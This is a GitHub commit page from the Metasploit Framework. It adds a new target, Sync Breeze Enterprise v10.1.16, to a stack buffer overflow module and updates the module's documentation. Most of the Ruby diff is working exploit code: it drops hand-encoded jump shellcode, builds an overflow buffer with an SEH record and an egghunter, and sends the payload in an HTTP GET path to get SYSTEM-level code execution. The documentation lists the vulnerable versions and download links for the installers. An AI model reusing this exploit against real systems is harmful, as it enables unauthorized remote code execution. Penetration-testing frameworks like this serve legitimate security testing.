Skip to content

Commit f395e07

Browse files
committed
Land rapid7#9269, add new target for Sync Breeze Enterprise GET BoF
Land rapid7#9269
1 parent 4cbb5f2 commit f395e07

File tree

2 files changed

+33
-25
lines changed

2 files changed

+33
-25
lines changed

documentation/modules/exploit/windows/http/syncbreeze_bof.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,17 @@
11
## Vulnerable Application
22

3-
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
3+
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
4+
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
5+
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
6+
are caused by improper bounds checking of the request path in HTTP GET requests and username value
7+
via HTTP POST requests sent to the built-in web server, respectively.
8+
9+
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
10+
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
11+
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
412

513
## Verification Steps
14+
615
1. Install a vulnerable Sync Breeze Enterprise
716
2. Start `Sync Breeze Enterprise` service
817
3. Start `Sync Breeze Enterprise` client application

modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 23 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -24,8 +24,8 @@ module has been tested successfully on Windows 7 SP1 x86.
2424
'Author' =>
2525
[
2626
'Daniel Teixeira',
27-
'Andrew Smith', # MSF support for v10.0.28
28-
'Owais Mehtab', # Original v10.0.28 exploit
27+
'Andrew Smith', # MSF support for v10.0.28
28+
'Owais Mehtab', # Original v10.0.28 exploit
2929
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
3030
],
3131
'DefaultOptions' =>
@@ -168,32 +168,31 @@ def exploit
168168
)
169169
when targets[3]
170170
target = targets[3]
171-
jumpcode = "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
172-
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
173-
jumpcode << "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
174-
jumpcode << "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
175-
jumpcode << "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
176-
jumpcode << "\x50" # push eax
177-
jumpcode << "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
178-
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
179-
jumpcode << "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
180-
jumpcode << "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
181-
jumpcode << "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
182-
jumpcode << "\x50" # push eax
183-
jumpcode << "\xff\xe4" # jmp esp
171+
172+
eggoptions = {
173+
checksum: true,
174+
eggtag: rand_text_alpha(4, payload_badchars)
175+
}
176+
177+
hunter, egg = generate_egghunter(
178+
payload.encoded,
179+
payload_badchars,
180+
eggoptions
181+
)
184182

185183
sploit = payload.encoded
186-
sploit << 'A' * (target['Offset'] - payload.encoded.length)
187-
sploit << "\x74\x06\x75\x06"
188-
sploit << [target.ret].pack('V')
189-
sploit << jumpcode
190-
sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))
184+
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
185+
sploit << generate_seh_record(target.ret)
186+
sploit << hunter
187+
# Push the payload out of this buffer, which will make the hunger look for the payload
188+
# somewhere else that has the complete payload.
189+
sploit << make_nops(200)
190+
sploit << egg
191+
sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
191192

192193
send_request_cgi(
193-
'uri' => '/' + sploit,
194-
'method' => 'GET',
195-
'host' => '4.2.2.2',
196-
'connection' => 'keep-alive'
194+
'uri' => "/#{sploit}",
195+
'method' => 'GET'
197196
)
198197
else
199198
print_error("Exploit not suitable for this target.")

0 commit comments

Comments
 (0)